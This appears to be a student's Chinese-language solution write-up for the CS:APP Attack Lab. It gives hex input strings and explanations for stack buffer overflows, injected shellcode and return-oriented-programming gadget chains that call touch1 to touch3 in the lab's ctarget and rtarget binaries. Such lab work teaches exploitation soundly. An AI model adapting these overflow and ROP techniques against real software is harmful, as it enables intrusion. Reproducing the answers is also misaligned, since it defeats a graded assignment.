Ctarget_level1

ANS:

```
66 66 66 66 66 66 66 66
66 66 66 66 66 66 66 66
66 66 66 66 66 66 66 66
70 17 40 00 00 00 00 00
```

这题很简单，由于getbuf一开始开辟了0x18的空间。所以我们答案前24位都随便写写，最后8位填上touch1的返回地址来覆盖原先的返回地址即可

Ctarget_level2

ANS:

```
48 C7 C7 73 01 96 78 68
9C 17 40 00 C3 00 00 00
00 00 00 00 00 00 00 00
48 D6 60 55 00 00 00 00
```

这题由于要给touch2传我们的cookie要code inject。先注入如上前两行的代码。翻译成汇编即

```
movq 0x78960173 %rdi     #0x78960173是我的cookie
push 0x40179c            #0x40179c是touch2的地址
ret
```

最后再在第24位后传入0x5560D648，即我们注入的这串字符串的首地址。就可以执行我们注入的代码了

Ctarget_level3

ANS:

```
48 C7 C7 68 D6 60 55 68
70 18 40 00 C3 00 00 00
00 00 00 00 00 00 00 00
48 D6 60 55 00 00 00 00
37 38 39 36 30 31 37 33
```

这题和level2相比需要传入cookie的char类型数组而非直接的16进制数。因此我们把我的cookie翻译成char类型的16进制：**37 38 39 36 30 31 37 33**。然后把注入代码修改如下

```
movq 0x5560D668 %rdi     #0x5560D668是由我cookie转化的数组的地址
push 0x401870            #0x4018070是touch3的地址
ret
```

最后同样在在第24位到31位传入0x5560D648（注入代码的栈首地址）即可

这里要注意char数组不能放在输入的24位之前，必须放在32位以后。因为后续调用的touch3和hexmatch会访问到输入的前24位所占的栈空间从而改变这个里面的数据。

Rtarget_level2

ANS:

```
81 04 51 18 58 10 45 11
81 04 51 18 58 10 45 11
81 04 51 18 58 10 45 11
2F 19 40 00 00 00 00 00
73 01 96 78 00 00 00 00
0D 19 40 00 00 00 00 00
9C 17 40 00 00 00 00 00
```

这题禁止了对栈空间的访问。因此从farm函数中找一些有用的代码片段来正确触发touch2。

前24位用来占空间的，随便写点。

第24到31位是第一个返回的地址，这里我们返回了40192F，即如下函数从58开始执行。

（与此同时%rsp会由于ret操作上移8位，即指向**73 01 96 78**的首地址）

```
000000000040192e <getval_330>:
  40192e:   b8 58 90 90 90          mov    $0x90909058,%eax
  401933:   c3                      retq
```

所得代码为

```
popq %rax
nop
nop
nop
ret
```

则%rsp指向的东西会存入%rax，即%rax存入了0x78960173（我的cookie），然后%rsp上移8位指向**0D 19 40**的首地址，这时再ret，则程序跳转到0x40190D，然后%rsp上移8位指向**9C 17 40**首地址。0x40190E如下，即从48开始

```
000000000040190b <setval_264>:
  40190b:   c7 07 48 89 c7 c3       movl   $0xc3c78948,(%rdi)
  401911:   c3                      retq
```

所得代码

```
movq %rax %rdi
ret
```

则%rdi会存入%rax的内容，即我的cookie。然后由于%rsp现在指向9C 17 40，ret时则会跳转到0x40179C，即touch2的地址。从而实现了touch2的触发和传参。

Rtarget_level3

ANS:

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
63 19 40 00 00 00 00 00
0D 19 40 00 00 00 00 00
2F 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
4E 19 40 00 00 00 00 00
0B 1A 40 00 00 00 00 00
97 19 40 00 00 00 00 00
3A 19 40 00 00 00 00 00
0D 19 40 00 00 00 00 00
70 18 40 00 00 00 00 00
37 38 39 36 30 31 37 33
```

这题主打一个跳来跳去。由于栈地址不固定，我们采取了先把某时刻的%rsp指向的**基地址传入%rdi**，再把cookie字符串存放地址相对基地址的**偏移量传入%rsi**，然后**调用**farm.c里面的**add_xy**函数**得到**cookie字符串的**真实地址**，**最后调用touch3**通关。

输入的前24位依旧随便写。25~40位（也就是4，5行）分别选取了farm.c里面的片段，翻译成汇编如下

```
movq %rsp %rax
ret

movq %rax %rdi
ret
```

所以我们利用上述代码得到了输入第33位（第5行开头）存放在栈中的地址并将其转移到%rdi。

然后我们调用第6行指向的代码

```
popq %rax
ret
```

把第7行的内容输入%rax，然后调用第8行的内容继续运行程序。所以第7行就放上我们设定的偏移量就好了。写完整个答案后可知，基地址是第5行开头的地址，cookie地址是14行开头的地址，因此偏移量为(14 - 5) * 8 = 72，故第7行放入0x48。

后续的8，9，10，11，12，13行则在寄存器里面不断跳转然后调用函数：

```
movl %eax %edx
ret
movl %edx %ecx
ret
movl %ecx %esi
ret
call add_xy
movq %rax %rdi
call touch3
```

由于找不到rsi相关的movq指令，我们只能用movl来传输。不过好在movl已经足够容纳0x48了

这样我们就通过了这题。